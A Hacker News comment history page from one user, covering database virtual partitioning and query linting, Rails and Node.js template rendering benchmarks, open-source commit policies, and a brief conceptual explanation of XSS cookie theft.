Hacker Newsnew | past | comments | ask | show | jobs | submit | arthurschreiber's commentslogin

As described in the blog post, large paths of our database schema have grown in an organic fashion. These virtual partitions allow us to prepare our database access for splitting out groups of tables into separate clusters in the medium term, with sharding those clusters being a next step and a long term solution to handle our database growth.


I understand the desire, but why were db users with rights for specific tables or separate databases not enough separation for your interim testing.

What did the virtual partitioning add that those other techniques could not provide?


We could enable the linter in production to silently log problematic queries without actually affecting their execution.

If we used separate db users as you're suggesting, any query that we didn't catch beforehand (e.g. via our CI builds) would cause noticeable problems for our users, which is something that we want to avoid.

Additionally, switching to a separate user account would require holding open twice the amount of connections to each database server (old db user plus new db user), which probably would be fine but is still a lot of additional connections at our scale.


Would it double the number of connections? If you are doing the same volume of total work and not looking to increase concurrency, wouldn't you end up with something closer to two connection pools with ~1/2 the size compared to one connection pool with your old size?


I think his suggestion was to use service-specific users with limited grants only in the development environment to catch queries that access tables of other services. The production environment would keep using users with grants on all services‘ tables


I see a lot of value of using separate users in both dev/test and production environments. That gives you an "easy" way to physically separate your database/schema into multiple databases with minimal changes to your application other than pointing your connection pools/config to the new database endpoint. We do this often - separating the task of breaking up our monolith databases with two phases - logical then physical.


We wrote our own linters that hooked into the `sql.active_record` event emitted by ActiveRecord when a query gets executed.

See https://api.rubyonrails.org/classes/ActiveSupport/Notificati... for the API to subscribe to these notifications.


Unless I'm mistaken, 97% of (24 hours) = 23.28 hours.


yes, it went down to 89% or something just after the problem.


I really like docopt (http://docopt.org/) which also comes as a CoffeeScript / JavaScript version.


That's _exactly_ what XSS is about. One possible way to exploit things like this is if I send you a link to a website, that embeds the target page through an iframe with javascript output injected. I could then have the JS steal your cookies/session or worse.


This is similar to how the Rubinius project has been managed for a long time: After your first pull request gets merged, you'll be added to the repository as a committer.


> This is similar to how the Rubinius project has been managed for a long time

... which in turn was "taken from Audrey Tang's commit policy on Pugs". [1]

[1] http://jacobian.org/writing/commit-bits/#c2548


I also created a very rspec like bdd library, called tclspec: https://github.com/arthurschreiber/tclspec


I'd even say that the biggest contributor to this difference is the non-blocking nature of Node. Using e.g. EventMachine would probably close the Gap between Node and Ruby even more.


Well, that comparison is not exactly fair, is it?

While the rails benchmark tries to compare different template engines in the same language, framework, and with blocking IO, you're comparing these results to rendering under "pure" Node.js (no framework that slows you down) with non-blocking IO.

Don't take this the wrong way, tho, I'm absolutely blown away by your numbers!


I agree, If you would be using Express.js or something similar I think node would give you numbers that look more like the rails stuff.

But I'm really interested in eliminating as much of the framework as possible to get more comparable numbers even to other platforms.

I'm also sort of blown away by the throughput node allows you.


Ok -- you got it. I've updated the gist with the same template running through Express.

https://gist.github.com/3905579

Take note that the margin of variance on these numbers is several hundred, so don't read too much into small shifts ... but:

With Express, and "c=1", I get 1,876 requests per second.

With Express, and "c=10", I get 2,730 requests per second.

There isn't meaningful overhead imposed by Express for this particular simple template rendering.


Running the same benchmark against DocPad a node.js framework, getting good speeds too (1147req/s). Benchmark: https://gist.github.com/3906050

Worth noting the tests are being run against a local copy of - http://docpad-kitchensink.herokuapp.com/ - which does a lot more stuff than the basic haml rendering.


You can make the benchmark with Rails Metal, or with Rack. If you want to compare non-blocking IO, use with eventmachine.


Yeah I'm pretty sure the rails benchmark is IO-bound. If that is the case it is surprising there is any noticeable difference at all between the three different Ruby template engines.


I'm confused, is this not what generally is done (and works) in open source development?


Consider applying for YC's Winter 2026 batch! Applications are open till Nov 10

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: